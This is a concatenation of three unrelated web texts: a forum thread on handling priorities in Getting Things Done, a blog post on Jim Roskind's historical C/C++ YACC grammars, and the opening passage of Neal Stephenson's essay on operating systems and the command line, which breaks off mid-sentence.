differently when clarifying and organizing vs. low priority ones?The prioritizing I’m doing during clarifying starts by asking, “Is it actionable?” Yes or No are the only answers to that. “NO” options are trash, reference, or incubate (Someday/Maybe or Calendar Tickler). If “YES”, the next question to ask is, “What’s the Next Action?” There are 3 choices about what to do with it then: Do now (if it will take less than two minutes), delegate (can someone else do this?), or defer (move to calendar or Next Actions lists). What I think you’re asking is fine tuning under defer. You know it’s actionable, but you can’t do it in the moment, and you’re choosing not to delegate it. So your choices for defer would be to put it on your calendar if it needs to be done ON a day, or on a next actions list sorted by context if it needs to be done BY or ANY day. That’s your call based on when you think you can/should work on this. Then taking it a cut further, to delineate it as a higher priority item, I use due dates–but sparingly. Don’t get caught in a trap of fake due dates. I use them judiciously, so when I see one I really take notice. Then day-to-day, I’m looking at my calendar daily for actions that need to be done on a day or at a time. I’m looking at my Next Actions lists any chance I get. I sort my lists by due date so they rise to the top. I did two webinars on GTDConnect.com you might get value from too called “The Art of Choosing Yes” and “The Art of Choosing No”. The free trial will give you access to those recordings. Hope that helps! Kelly En el capitulo de Hacer (también llamado Ejecutar) se habla de 3 formas de trabajar: El trabajo programado, Aclarar las cosas pendientes y Hacer el trabajo mientras resulta, es decir si algo usted lo ve muy importante lo puede hacer de inmediato así en las listas filtradas por contexto, tiempo disponible y energía no aparezca, el método no se lo impide… usted al Aclarar (Procesar) sentado con buen tiempo contesto una serie de preguntas sobre una cosa para convertirla en una Próxima Acción para hacer en la semana en que se encuentra, por tanto si lo hizo a conciencia lo que esta es su lista de próximas acciones deben ser tareas importantes para obtener los resultados deseados por usted para esta semana… una de las normas de Hacer en GTD es hacer las tareas que correspondan a Resultados Esperados (Proyectos) con fechas objetivas mucho antes de su vencimiento con lo que muchas de nuestras urgencias actuales no se volverán a presentar. Creo que debe hacer el lector 2 cosas primero dedicarse a seguir el método GTD lo mejor posible, incluyendo las aclaraciones que le hago arriba y segundo leer de nuevo el libre de Allen pero esta vez con más detenimiento y tomando nota de todos los pasos de cada parte de la metodología….. para entender GTD se debe estudiar, luego vivir y después volver a estudiar en un ciclo continuo. Thanks for these posts, everyone. I think they put the spotlight on a crucial area of GTD. I am still not convinced that it’s not a weakness in the GTD system. I am ashamed to say that I cannot translate the post by Juan Carlos, but Rob you have hit on the head a nail that I’ve been thinking about for some time. One can indeed choose contexts, we are not just the sport of whatever breeze blows. Very often, but not always. The interaction between actions and planning is one I haven’t bottomed out yet in GTD. I have several @errands actions, do I wait until I am in town and do what I can in that context, or do I look at the weather forecast and actually plan a trip to town (preferably when it will be sunny and dry – living in the UK, this is an issue!?). Or if one of the items on the @errands list is urgent, I make a special trip to town and soon, but I check my @errands list for the other things I can do while I’m there. GTD covers Natural Project Planning, which I think is brilliant, but not day or week or month planning. I find this odd. Of course, the day or week plan may go out of the window, and then I need to look at my context lists to see what, in the new circumstances and in the moment, I can do. But is that a good reason for not making a plan? Having a plan gives focus and direction. The Agile Results system of JD Meier, is an interesting take on this idea, in that one sets out 3 desired outcomes for e.g the day, and then starts again the next day with a fresh list. So it’s not so much a ‘to do’ list as a focussing tool. Kelly, that is an interesting comment about priority coming in at the clarifying stage. I believe that GTD is not in favour of simplistic ‘assign Priority A,B,C’ approaches. How then do I decide and note priority (as against the action) when I am clarifying? Many thanks again for the debate. It seems I was not quite correct about GTD and (non-project) planning – this is from ‘Getting Things Done’, the book (P98 in my e-book): “First, constant new input and shifting tactical priorities reconfigure daily work so consistently that it’s virtually impossible to nail down to-do items ahead of time. Having a working game plan as preference point is always useful, but it must be able to be renegotiated at any moment.” So, the value of having a plan to begin with is acknowledged. I see I have strayed off topic, from ‘Priorities and GTD’ into ‘Planning and GTD’, but I take comfort in David Drake’s post, which shows that these aspects are related. TRADUCTOR DE GOOGLE: In the chapter of Doing (also called Executing) we talk about 3 ways of working: Scheduled work, Clarify the pending things and Do the work as it turns out, that is, if something you see is very important, you can immediately do so in the lists filtered by context, time available and energy does not appear, the method does not prevent it … you to clarify (process) sitting in good weather I answer a series of questions about one thing to turn it into a next action to do in the week when is found, so if you did it thoroughly what this is your list of next actions should be important tasks to get the desired results for you this week … one of the rules of doing in GTD is to do the tasks that correspond to results Expected (Projects) with objective dates well before their expiration with what many of our current urgencies will not be presented again. I think the reader should do 2 things first to follow the GTD method as best as possible, including the clarifications I make above and second read Allen’s free again but this time more carefully and taking note of all the steps of each part of the methodology … .. to understand GTD should be studied, then live and then return to study in a continuous cycle. Thank you for the translation, Juan Carlos. Some good points, upon which I shall ponder.. Read The Power of Less – best book on the subject in my opinion and has made a great impact upon my ability to prioritize and manage tasks One approach to solving this riddle I’ve been considering is the “Only 10s” approach, or the “If it’s not a heck yes!, the it’s a ‘No'” approach – in other words, everything by default goes into the “someday/maybe” list. Unless it becomes a “must”, in which case it migrates into an appropriate context, purely to ease planning, but knowing that it will get done in the very near future. In that respect, priority always comes FIRST. Yes, some of the prioritizing does come when things are being processed. I see a few things here that I think you are missing: 1. The weekly review – here you will look over everything once a week. You’ll see all your items then and if a deadline is looming, etc. you can adjust to move things to your calendar, etc. as needed. With this, you don’t really need week or monthly planning, you are figuring that out during your weekly review. 2. I do think you are applying contexts too rigidly. The home, work, phone/calls, etc. are a good starting point, but sometimes if one list is getting too long, you may have to break it up or move some items to Agendas depending what makes sense. Right now I have a Work – Billable, Work – Non-billable and Work – Quiet for contexts along with several agendas for weekly meetings or when I catch certain people and frankly, I can do all of that work from home that isn’t in person agendas since I can remote log in, so I could have it on my Home list if I wanted to, but I don’t because splitting it up this way is the right contexts for me and my Home list would be too long. I only have so much time a week I can put to Non-billable, so I separate it off so I can plan that time accordingly. Work – Quiet I need to either be working from home alone or in early/staying late alone to get that high focus work done. One of David’s books he mentions someone who made their lists based on energy available as for them it was more important to have it grouped that way. Others have mentioned adding tags or something similar to sort items you want to do today to the top. So have some flexibility in your contexts and look at what you need to look at, don’t feel you have to be rigid and only look at work, if you are willing to change contexts, you may want to quickly review all your lists. Or have a tentative plan for the day/week and adjust on the fly as needed. Or if you have a project that is just that important, maybe it gets its own agenda? 3. You are missing an important point of GTD which is you should be prioritizing from your lists on the fly as that is something the brain is great at doing on an external stored list. As things come up or change, priorities are constantly changing. Having everything you need to do on lists will allow you to continually evaluate priorities.

How do priorities and GTD come together? Priorities are actually just thing to consider when choosing what to do. GTD Coach Kelly Forrister breaks it down.

2024-10-12 00:00:00

2018-03-02 00:00:00

article

gettingthingsdone.com

Getting Things Done®

https://medium.com/@rich_archbold/my-engineering-standards-dc64d3ecb703

https://blog.robertelder.org/jim-roskind-grammar/

The Jim Roskind C and C++ Grammars

# The Jim Roskind C and C++ Grammars ##### 2018-02-15 - By Robert Elder # Introduction The purpose of this article is to discuss the works of computer programmer Jim Roskind. Specifically, his work related to the C/C++ programming languages will be emphasized. I became motivated to do this short write-up when I realized that a lot of his work on C/C++ programming was done in the 1990-1996 era, just after digital communication formats became popular, but just before 'blog' type documentation format became popular. As a result, a number of references to his works are becoming dead links, or are simply lacking any context somewhere in a decaying ftp site that nobody knows about. This article is unlikely to be interesting to anyone with a casual interest in C programming, but it is instead intended for individuals looking to develop an extremely intimate understanding of the C/C++ programming languages and their histories. My interest in reviewing Roskind's work has been to look for compiler test cases. Briefly, I'll discuss a bit about the man himself: As far as I can tell in my Googling, and assuming that I haven't confused multiple people with the same name, he was an independent consultant around 1990[1], was a co-founder of Infoseek Corporation[2][3] in 1994, joined Netscape in 1995[2], appeared in the popular documentary Project Code Rush around 1998, joined Google in 2008 and designed QUIC in 2012. He has a number of other technical accomplishments that I haven't listed. # The Jim Roskind Grammar In terms of contributions to C programming, here are a couple files from around 1990 that are particularly worth mentioning: c++grammar1.1.tar.Z c++grammar2.0.tar.Z Because you're reading this in the future and various links to these files may no longer be working, below are various hashes of these files. If you are lucky, searching for them might hopefully lead you to a mirror somewhere (at the moment they don't). I also checked for different sources of these files, and although I can find lots of references, I could only find a single mirror where I could download them: md5 5c5e10f21f7f77dba73f2fff792eb5d4 c++grammar1.1.tar.Z md5 dcb3b207920ae02674676b0dae63d78b c++grammar2.0.tar.Z sha256 d6776adfab4def7f3f4c2411b5870edbd018eafe0a7badb2c5be48374ff15893 c++grammar1.1.tar.Z sha256 9cb8bf51f9b54b998e2058bec9892f170985e303a24c6d774ed186ec49ee065b c++grammar2.0.tar.Z sha512 1a80d3931ba154844d27efa9b8e88520a578a2938d0c5a4816d45c3753c4eef4d027dcd6df7fae48e3d9b24b05388b875c9dd6d03f5751827a7017baee447662 c++grammar1.1.tar.Z sha512 be7618f638f120cb5ec21dbdf0d044391c6b936bea82aa02b0600b31342e2229a02da78ea5bf94a383c1d1cb128d72cd2d5d38db63e0424ee19d5177d151b27d c++grammar2.0.tar.Z In fact, after checking the license of these files, I think it should be fine to mirror them myself too: The c++grammar1.1.tar.Z document appears to simply be an earlier version of the c++grammar2.0.tar.Z version. Inside the c++grammar2.0.tar.Z version, you will find the following files (according to freegrm5.txt): - FREEGRM5.TXT - This introductory file - GRAMMAR5.TXT - Parsing ambiguities in C++, and in my grammar - CPP5.Y - My YACC compatible C++ grammar - C5.Y - My YACC compatible, ANSI C conformant grammar - CPP5.L - Flex input file defining a C++ lexical analyzer - SKELGRPH.C - A hacked file from the Berkeley YACC distribution - AUTODOC5.TXT - Documentationfor my machine generated analysis - Y.OUTPUT - Machine generated analysis of the C++ grammar. The word 'my' as used in the above list should be interpreted to refer to Jim Roskind. The file 'autodocs.txt' contains the following table of contents: - 1 INTRODUCTION TO the YACC CROSS REFERENCE SYSTEM - 2 DETAILED DISCUSSION OF TABLES - 2.1 Reference Grammar - 2.2 Alphabetized Grammar - 2.3 Sample Expansions for the Non-terminal Tokens - 2.4 Summary Descriptions of the Terminal Tokens - 2.5 Symbol and Grammar Cross Reference for the Tokens - 2.6 Sample Stack Context and Accessing Sentences for each State - 2.7 Concise list of Conflicts - 2.8 Canonical Description of Conflicts - 2.9 Verbose listing of state transitions - 2.10 Explanations for all reductions suggested in conflicts - 3 CONFLICT ANALYSIS Via the YACC CROSS REFERENCE SYSTEM - 3.1 LR(1) Parsing - 3.1.1 Ambiguous grammars - 3.1.2 LR(1) ambiguous grammars - 3.1.2.1 Removing LR(1) conflicts from unambiguous grammars - 3.1.3 LALR-only ambiguous grammars, and LALR-only conflict components - 3.1.3.1 LR parsers vs parsers generated by LALR parser generators - 3.1.3.2 Sample LALR-only ambiguous grammar - 3.1.3.2.1 Analysis of the sample LALR-only ambiguous grammar - 3.1.3.2.2 Sample Removal of LALR-only conflict via state splitting - 3.1.3.2.3 Sample Removal of LALR-only conflict via grammar augmentation - 3.2 Interpreting Conflict Analysis Documentation - 3.2.1 Conflict Reduction Demonstrations - 3.2.2 Summarizing Reduction Contexts - 3.2.3 Automatic LALR-only Conflict Summaries - 3.2.3.1 Direct Pruning of LR conflicts From the Context Tree - 3.2.3.2 Pruning of LR conflicts From the Context Tree using State Information - 3.2.3.3 LALR-only conflicts With No Consequences - 3.2.3.4 Significant LALR-only conflicts - 3.2.4 Augmentation Proposals to Remove LALR-only Conflicts One might question what the purpose is of digging up ancient grammars for YACC now that gcc and clang have moved on from this paradigm, but for me this information is still useful. The detailed analysis provided by Roskind is a good source for developing compiler test cases and learning how the language evolved. In fact, there were a few discussions made on comp.compilers in the early 90s by Roskind that, at first glance, might seem like any other un-noteworthy piece of commentary in technical discussion forum, but they are in fact widely cited because they are the only time anyone has ever discussed the issue. One that I found very useful was Jim Roskind on C ambiguity. The post was useful because of several very special corner cases involving typedefs that it illustrates. In case that link goes dead, here is another reference to the general email thread on Google Groups comp.compilers. And to back up my claim about citations, that post by Roskind is cited in "A Simple, Possibly Correct LR Parser for C11", Jacques-Henri Jourdan, François Pottier, among a number of other places. If you end up browsing the Wikipedia article on The Lexer Hack, you might notice that the first reference in the article is a source of Jim Roskind. Unfortunately, as of today, the reference is a dead link! But if you pay attention, you'll note that the link references a file called 'grammar5.txt' with a date of 1991-07-11, and this is exactly the date inside the 'grammar5.txt' that you can find in the tar file mentioned above! I'm not sure, but I believe the actual use of the term 'lexer hack' might actually be a reference specifically to *Jim Roskind's* lexer hack. Inside of grammar5.txt, there is a note: "I will refer to this feedback loop (from the parser that stores information in a symbol table, wherein the lexer extracts the information) as the "lex hack"." That sounds to me like he came up with the term first! In addition, if it piques your interest, here is the table of contents listed in grammar5.txt: - INTRODUCTION - REVIEW: STANDARD LEXICAL ANALYSIS HACK: TYPEDEFname vs IDENTIFIER - STATUS OF MY "DISAMBIGUATED" GRAMMAR - SUMMARY OF CONFLICTS - 17 EASY CONFLICTS, WITH HAPPY ENDINGS - 1 SR CONFLICT WITH AN ALMOST HAPPY ENDING - 6 NOVEL CONFLICT THAT YIELD TO SEMANTIC DISAMBIGUATION - 1 CONFLICT THAT CONSTRAINTS SUPPORT THE RESOLUTION FOR - THE TOUGH AMBIGUITIES: FUNCTION LIKE CASTS AND COMPANY (17 CONFLICTS) - THE TOUGH AMBIGUITIES: FUNCTION LIKE CASTS AND COMPANY - LALR-only CONFLICTS IN THE GRAMMAR - SAMPLE RESOLUTIONS OF AMBIGUITIES BY MY C++ GRAMMAR - DIFFICULT AMBIGUITIES FOR C++ 2.0 PARSER TO TRY - COMMENTARY ON CURRENT C++ DISAMBIGUATING RULES - SOURCE OF CONFLICTS IN C++ (MIXING TYPES AND EXPRESSIONS) - FUNCTION LIKE CAST vs DECLARATION AMBIGUITIES - FUNCTION LIKE CAST vs DECLARATION : THE TOUGH EXAMPLE: - CONCLUSION - APPENDIX A: - PROPOSED GRAMMAR MODIFICATIONS (fixing '*', and '&' conflicts) - APPENDIX B: - CANONICAL DESCRIPTION OF CONFLICTS and STATES # Conclusion If you've read up until this point, you should be sold on the value of this information, either for historical purposes, or for the investigation into grammar ambiguities into the C or C++ languages. There are a number of other useful posts made by Jim Roskind on the comp.compilers newsgroup back in the 90s, but I won't go to the effort of listing them here. You'll just have to hope that those pages don't go dead before you try to search for the content on them. # References [1] https://pdos.csail.mit.edu/archive/l/c/roskind.html "Tues, Jan 14 1992 4:23 pm... Jim Roskind Independent Consultant" [2] https://www2.cs.arizona.edu/colloquia/03-04/Roskind.html "Jim was a co-founder of Infoseek Corporation, and later Chief Scientist." [3] https://en.wikipedia.org/wiki/Infoseek "January 10, 1994;" How to Get Fired Using Switch Statements & Statement ExpressionsPublished 2016-10-27 | $40.00 CAD | 7 Scandalous Weird Old Things About The C PreprocessorPublished 2015-09-20 | Building A C Compiler Type System - Part 1: The Formidable DeclaratorPublished 2016-07-07 | Modelling C Structs And Typedefs At Parse TimePublished 2017-03-30 | Building A C Compiler Type System - Part 2: A Canonical Type RepresentationPublished 2016-07-21 | The Magical World of Structs, Typedefs, and ScopingPublished 2016-05-09 | An Artisan Guide to Building Broken C ParsersPublished 2017-03-30 | Join My Mailing List Privacy Policy | Why Bother Subscribing? |

2024-10-12 00:00:00

2018-02-15 00:00:00

article

robertelder.org

Robert Elder Software Inc.

https://web.stanford.edu/class/cs81n/command.txt

In the Beginning was the Command Line by Neal Stephenson About twenty years ago Jobs and Wozniak, the founders of Apple, came up with the very strange idea of selling information processing machines for use in the home. The business took off, and its founders made a lot of money and received the credit they deserved for being daring visionaries. But around the same time, Bill Gates and Paul Allen came up with an idea even stranger and more fantastical: selling computer operating systems. This was much weirder than the idea of Jobs and Wozniak. A computer at least had some sort of physical reality to it. It came in a box, you could open it up and plug it in and watch lights blink. An operating system had no tangible incarnation at all. It arrived on a disk, of course, but the disk was, in effect, nothing more than the box that the OS came in. The product itself was a very long string of ones and zeroes that, when properly installed and coddled, gave you the ability to manipulate other very long strings of ones and zeroes. Even those few who actually understood what a computer operating system was were apt to think of it as a fantastically arcane engineering prodigy, like a breeder reactor or a U-2 spy plane, and not something that could ever be (in the parlance of high-tech) "productized." Yet now the company that Gates and Allen founded is selling operating systems like Gillette sells razor blades. New releases of operating systems are launched as if they were Hollywood blockbusters, with celebrity endorsements, talk show appearances, and world tours. The market for them is vast enough that people worry about whether it has been monopolized by one company. Even the least technically-minded people in our society now have at least a hazy idea of what operating systems do; what is more, they have strong opinions about their relative merits. It is commonly understood, even by technically unsophisticated computer users, that if you have a piece of software that works on your Macintosh, and you move it over onto a Windows machine, it will not run. That this would, in fact, be a laughable and idiotic mistake, like nailing horseshoes to the tires of a Buick. A person who went into a coma before Microsoft was founded, and woke up now, could pick up this morning's New York Times and understand everything in it--almost: Item: the richest man in the world made his fortune from-what? Railways? Shipping? Oil? No, operating systems. Item: the Department of Justice is tackling Microsoft's supposed OS monopoly with legal tools that were invented to restrain the power of Nineteenth-Century robber barons. Item: a woman friend of mine recently told me that she'd broken off a (hitherto) stimulating exchange of e-mail with a young man. At first he had seemed like such an intelligent and interesting guy, she said, but then "he started going all PC-versus-Mac on me." What the hell is going on here? And does the operating system business have a future, or only a past? Here is my view, which is entirely subjective; but since I have spent a fair amount of time not only using, but programming, Macintoshes, Windows machines, Linux boxes and the BeOS, perhaps it is not so ill-informed as to be completely worthless. This is a subjective essay, more review than research paper, and so it might seem unfair or biased compared to the technical reviews you can find in PC magazines. But ever since the Mac came out, our operating systems have been based on metaphors, and anything with metaphors in it is fair game as far as I'm concerned. MGBs, TANKS, AND BATMOBILES Around the time that Jobs, Wozniak, Gates, and Allen were dreaming up these unlikely schemes, I was a teenager living in Ames, Iowa. One of my friends' dads had an old MGB sports car rusting away in his garage. Sometimes he would actually manage to get it running and then he would take us for a spin around the block, with a memorable look of wild youthful exhiliration on his face; to his worried passengers, he was a madman, stalling and backfiring around Ames, Iowa and eating the dust of rusty Gremlins and Pintos, but in his own mind he was Dustin Hoffman tooling across the Bay Bridge with the wind in his hair. In retrospect, this was telling me two things about people's relationship to technology. One was that romance and image go a long way towards shaping their opinions. If you doubt it (and if you have a lot of spare time on your hands) just ask anyone who owns a Macintosh and who, on those grounds, imagines him- or herself to be a member of an oppressed minority group. The other, somewhat subtler point, was that interface is very important. Sure, the MGB was a lousy car in almost every way that counted: balky, unreliable, underpowered. But it was fun to drive. It was responsive. Every pebble on the road was felt in the bones, every nuance in the pavement transmitted instantly to the driver's hands. He could listen to the engine and tell what was wrong with it. The steering responded immediately to commands from his hands. To us passengers it was a pointless exercise in going nowhere--about as interesting as peering over someone's shoulder while he punches numbers into a spreadsheet. But to the driver it was an experience. For a short time he was extending his body and his senses into a larger realm, and doing things that he couldn't do unassisted. The analogy between cars and operating systems is not half bad, and so let me run with it for a moment, as a way of giving an executive summary of our situation today. Imagine a crossroads where four competing auto dealerships are situated. One of them (Microsoft) is much, much bigger than the others. It started out years ago selling three-speed bicycles (MS-DOS); these were not perfect, but they worked, and when they broke you could easily fix them. There was a competing bicycle dealership next door (Apple) that one day began selling motorized vehicles--expensive but attractively styled cars with their innards hermetically sealed, so that how they worked was something of a mystery. The big dealership responded by rushing a moped upgrade kit (the original Windows) onto the market. This was a Rube Goldberg contraption that, when bolted onto a three-speed bicycle, enabled it to keep up, just barely, with Apple-cars. The users had to wear goggles and were always picking bugs out of their teeth while Apple owners sped along in hermetically sealed comfort, sneering out the windows. But the Micro-mopeds were cheap, and easy to fix compared with the Apple-cars, and their market share waxed. Eventually the big dealership came out with a full-fledged car: a colossal station wagon (Windows 95). It had all the aesthetic appeal of a Soviet worker housing block, it leaked oil and blew gaskets, and it was an enormous success. A little later, they also came out with a hulking off-road vehicle intended for industrial users (Windows NT) which was no more beautiful than the station wagon, and only a little more reliable. Since then there has been a lot of noise and shouting, but little has changed. The smaller dealership continues to sell sleek Euro-styled sedans and to spend a lot of money on advertising campaigns. They have had GOING OUT OF BUSINESS! signs taped up in their windows for so long that they have gotten all yellow and curly. The big one keeps making bigger and bigger station wagons and ORVs. On the other side of the road are two competitors that have come along more recently. One of them (Be, Inc.) is selling fully operational Batmobiles (the BeOS). They are more beautiful and stylish even than the Euro-sedans, better designed, more technologically advanced, and at least as reliable as anything else on the market--and yet cheaper than the others. With one exception, that is: Linux, which is right next door, and which is not a business at all. It's a bunch of RVs, yurts, tepees, and geodesic domes set up in a field and organized by consensus. The people who live there are making tanks. These are not old-fashioned, cast-iron Soviet tanks; these are more like the M1 tanks of the U.S. Army, made of space-age materials and jammed with sophisticated technology from one end to the other. But they are better than Army tanks. They've been modified in such a way that they never, ever break down, are light and maneuverable enough to use on ordinary streets, and use no more fuel than a subcompact car. These tanks are being cranked out, on the spot, at a terrific pace, and a vast number of them are lined up along the edge of the road with keys in the ignition. Anyone who wants can simply climb into one and drive it away for free. Customers come to this crossroads in throngs, day and night. Ninety percent of them go straight to the biggest dealership and buy station wagons or off-road vehicles. They do not even look at the other dealerships. Of the remaining ten percent, most go and buy a sleek Euro-sedan, pausing only to turn up their noses at the philistines going to buy the station wagons and ORVs. If they even notice the people on the opposite side of the road, selling the cheaper, technically superior vehicles, these customers deride them cranks and half-wits. The Batmobile outlet sells a few vehicles to the occasional car nut who wants a second vehicle to go with his station wagon, but seems to accept, at least for now, that it's a fringe player. The group giving away the free tanks only stays alive because it is staffed by volunteers, who are lined up at the edge of the street with bullhorns, trying to draw customers' attention to this incredible situation. A typical conversation goes something like this: Hacker with bullhorn: "Save your money! Accept one of our free tanks! It is invulnerable, and can drive across rocks and swamps at ninety miles an hour while getting a hundred miles to the gallon!" Prospective station wagon buyer: "I know what you say is true...but...er...I don't know how to maintain a tank!" Bullhorn: "You don't know how to maintain a station wagon either!" Buyer: "But this dealership has mechanics on staff. If something goes wrong with my station wagon, I can take a day off work, bring it here, and pay them to work on it while I sit in the waiting room for hours, listening to elevator music." Bullhorn: "But if you accept one of our free tanks we will send volunteers to your house to fix it for free while you sleep!" Buyer: "Stay away from my house, you freak!" Bullhorn: "But..." Buyer: "Can't you see that everyone is buying station wagons?" BIT-FLINGER The connection between cars, and ways of interacting with computers, wouldn't have occurred to me at the time I was being taken for rides in that MGB. I had signed up to take a computer programming class at Ames High School. After a few introductory lectures, we students were granted admission into a tiny room containing a teletype, a telephone, and an old-fashioned modem consisting of a metal box with a pair of rubber cups on the top (note: many readers, making their way through that last sentence, probably felt an initial pang of dread that this essay was about to turn into a tedious, codgerly reminiscence about how tough we had it back in the old days; rest assured that I am actually positioning my pieces on the chessboard, as it were, in preparation to make a point about truly hip and up-to-the minute topics like Open Source Software). The teletype was exactly the same sort of machine that had been used, for decades, to send and receive telegrams. It was basically a loud typewriter that could only produce UPPERCASE LETTERS. Mounted to one side of it was a smaller machine with a long reel of paper tape on it, and a clear plastic hopper underneath. In order to connect this device (which was not a computer at all) to the Iowa State University mainframe across town, you would pick up the phone, dial the computer's number, listen for strange noises, and then slam the handset down into the rubber cups. If your aim was true, one would wrap its neoprene lips around the earpiece and the other around the mouthpiece, consummating a kind of informational soixante-neuf. The teletype would shudder as it was possessed by the spirit of the distant mainframe, and begin to hammer out cryptic messages. Since computer time was a scarce resource, we used a sort of batch processing technique. Before dialing the phone, we would turn on the tape puncher (a subsidiary machine bolted to the side of the teletype) and type in our programs. Each time we depressed a key, the teletype would bash out a letter on the paper in front of us, so we could read what we'd typed; but at the same time it would convert the letter into a set of eight binary digits, or bits, and punch a corresponding pattern of holes across the width of a paper tape. The tiny disks of paper knocked out of the tape would flutter down into the clear plastic hopper, which would slowly fill up what can only be described as actual bits. On the last day of the school year, the smartest kid in the class (not me) jumped out from behind his desk and flung several quarts of these bits over the head of our teacher, like confetti, as a sort of semi-affectionate practical joke. The image of this man sitting there, gripped in the opening stages of an atavistic fight-or-flight reaction, with millions of bits (megabytes) sifting down out of his hair and into his nostrils and mouth, his face gradually turning purple as he built up to an explosion, is the single most memorable scene from my formal education. Anyway, it will have been obvious that my interaction with the computer was of an extremely formal nature, being sharply divided up into different phases, viz.: (1) sitting at home with paper and pencil, miles and miles from any computer, I would think very, very hard about what I wanted the computer to do, and translate my intentions into a computer language--a series of alphanumeric symbols on a page. (2) I would carry this across a sort of informational cordon sanitaire (three miles of snowdrifts) to school and type those letters into a machine--not a computer--which would convert the symbols into binary numbers and record them visibly on a tape. (3) Then, through the rubber-cup modem, I would cause those numbers to be sent to the university mainframe, which would (4) do arithmetic on them and send different numbers back to the teletype. (5) The teletype would convert these numbers back into letters and hammer them out on a page and (6) I, watching, would construe the letters as meaningful symbols. The division of responsibilities implied by all of this is admirably clean: computers do arithmetic on bits of information. Humans construe the bits as meaningful symbols. But this distinction is now being blurred, or at least complicated, by the advent of modern operating systems that use, and frequently abuse, the power of metaphor to make computers accessible to a larger audience. Along the way--possibly because of those metaphors, which make an operating system a sort of work of art--people start to get emotional, and grow attached to pieces of software in the way that my friend's dad did to his MGB. People who have only interacted with computers through graphical user interfaces like the MacOS or Windows--which is to say, almost everyone who has ever used a computer--may have been startled, or at least bemused, to hear about the telegraph machine that I used to communicate with a computer in 1973. But there was, and is, a good reason for using this particular kind of technology. Human beings have various ways of communicating to each other, such as music, art, dance, and facial expressions, but some of these are more amenable than others to being expressed as strings of symbols. Written language is the easiest of all, because, of course, it consists of strings of symbols to begin with. If the symbols happen to belong to a phonetic alphabet (as opposed to, say, ideograms), converting them into bits is a trivial procedure, and one that was nailed, technologically, in the early nineteenth century, with the introduction of Morse code and other forms of telegraphy. We had a human/computer interface a hundred years before we had computers. When computers came into being around the time of the Second World War, humans, quite naturally, communicated with them by simply grafting them on to the already-existing technologies for translating letters into bits and vice versa: teletypes and punch card machines. These embodied two fundamentally different approaches to computing. When you were using cards, you'd punch a whole stack of them and run them through the reader all at once, which was called batch processing. You could also do batch processing with a teletype, as I have already described, by using the paper tape reader, and we were certainly encouraged to use this approach when I was in high school. But--though efforts were made to keep us unaware of this--the teletype could do something that the card reader could not. On the teletype, once the modem link was established, you could just type in a line and hit the return key. The teletype would send that line to the computer, which might or might not respond with some lines of its own, which the teletype would hammer out--producing, over time, a transcript of your exchange with the machine. This way of doing it did not even have a name at the time, but when, much later, an alternative became available, it was retroactively dubbed the Command Line Interface. When I moved on to college, I did my computing in large, stifling rooms where scores of students would sit in front of slightly updated versions of the same machines and write computer programs: these used dot-matrix printing mechanisms, but were (from the computer's point of view) identical to the old teletypes. By that point, computers were better at time-sharing--that is, mainframes were still mainframes, but they were better at communicating with a large number of terminals at once. Consequently, it was no longer necessary to use batch processing. Card readers were shoved out into hallways and boiler rooms, and batch processing became a nerds-only kind of thing, and consequently took on a certain eldritch flavor among those of us who even knew it existed. We were all off the Batch, and on the Command Line, interface now--my very first shift in operating system paradigms, if only I'd known it. A huge stack of accordion-fold paper sat on the floor underneath each one of these glorified teletypes, and miles of paper shuddered through their platens. Almost all of this paper was thrown away or recycled without ever having been touched by ink--an ecological atrocity so glaring that those machines soon replaced by video terminals--so-called "glass teletypes"--which were quieter and didn't waste paper. Again, though, from the computer's point of view these were indistinguishable from World War II-era teletype machines. In effect we still used Victorian technology to communicate with computers until about 1984, when the Macintosh was introduced with its Graphical User Interface. Even after that, the Command Line continued to exist as an underlying stratum--a sort of brainstem reflex--of many modern computer systems all through the heyday of Graphical User Interfaces, or GUIs as I will call them from now on. GUIs Now the first job that any coder needs to do when writing a new piece of software is to figure out how to take the information that is being worked with (in a graphics program, an image; in a spreadsheet, a grid of numbers) and turn it into a linear string of bytes. These strings of bytes are commonly called files or (somewhat more hiply) streams. They are to telegrams what modern humans are to Cro-Magnon man, which is to say the same thing under a different name. All that you see on your computer screen--your Tomb Raider, your digitized voice mail messages, faxes, and word processing documents written in thirty-seven different typefaces--is still, from the computer's point of view, just like telegrams, except much longer, and demanding of more arithmetic. The quickest way to get a taste of this is to fire up your web browser, visit a site, and then select the View/Document Source menu item. You will get a bunch of computer code that looks something like this: C R Y P T O N O M I C O N | | This crud is called HTML (HyperText Markup Language) and it is basically a very simple programming language instructing your web browser how to draw a page on a screen. Anyone can learn HTML and many people do. The important thing is that no matter what splendid multimedia web pages they might represent, HTML files are just telegrams. When Ronald Reagan was a radio announcer, he used to call baseball games by reading the terse descriptions that trickled in over the telegraph wire and were printed out on a paper tape. He would sit there, all by himself in a padded room with a microphone, and the paper tape would eke out of the machine and crawl over the palm of his hand printed with cryptic abbreviations. If the count went to three and two, Reagan would describe the scene as he saw it in his mind's eye: "The brawny left-hander steps out of the batter's box to wipe the sweat from his brow. The umpire steps forward to sweep the dirt from home plate." and so on. When the cryptogram on the paper tape announced a base hit, he would whack the edge of the table with a pencil, creating a little sound effect, and describe the arc of the ball as if he could actually see it. His listeners, many of whom presumably thought that Reagan was actually at the ballpark watching the game, would reconstruct the scene in their minds according to his descriptions. This is exactly how the World Wide Web works: the HTML files are the pithy description on the paper tape, and your Web browser is Ronald Reagan. The same is true of Graphical User Interfaces in general. So an OS is a stack of metaphors and abstractions that stands between you and the telegrams, and embodying various tricks the programmer used to convert the information you're working with--be it images, e-mail messages, movies, or word processing documents--into the necklaces of bytes that are the only things computers know how to work with. When we used actual telegraph equipment (teletypes) or their higher-tech substitutes ("glass teletypes," or the MS-DOS command line) to work with our computers, we were very close to the bottom of that stack. When we use most modern operating systems, though, our interaction with the machine is heavily mediated. Everything we do is interpreted and translated time and again as it works its way down through all of the metaphors and abstractions. The Macintosh OS was a revolution in both the good and bad senses of that word. Obviously it was true that command line interfaces were not for everyone, and that it would be a good thing to make computers more accessible to a less technical audience--if not for altruistic reasons, then because those sorts of people constituted an incomparably vaster market. It was clear the the Mac's engineers saw a whole new country stretching out before them; you could almost hear them muttering, "Wow! We don't have to be bound by files as linear streams of bytes anymore, vive la revolution, let's see how far we can take this!" No command line interface was available on the Macintosh; you talked to it with the mouse, or not at all. This was a statement of sorts, a credential of revolutionary purity. It seemed that the designers of the Mac intended to sweep Command Line Interfaces into the dustbin of history. My own personal love affair with the Macintosh began in the spring of 1984 in a computer store in Cedar Rapids, Iowa, when a friend of mine--coincidentally, the son of the MGB owner--showed me a Macintosh running MacPaint, the revolutionary drawing program. It ended in July of 1995 when I tried to 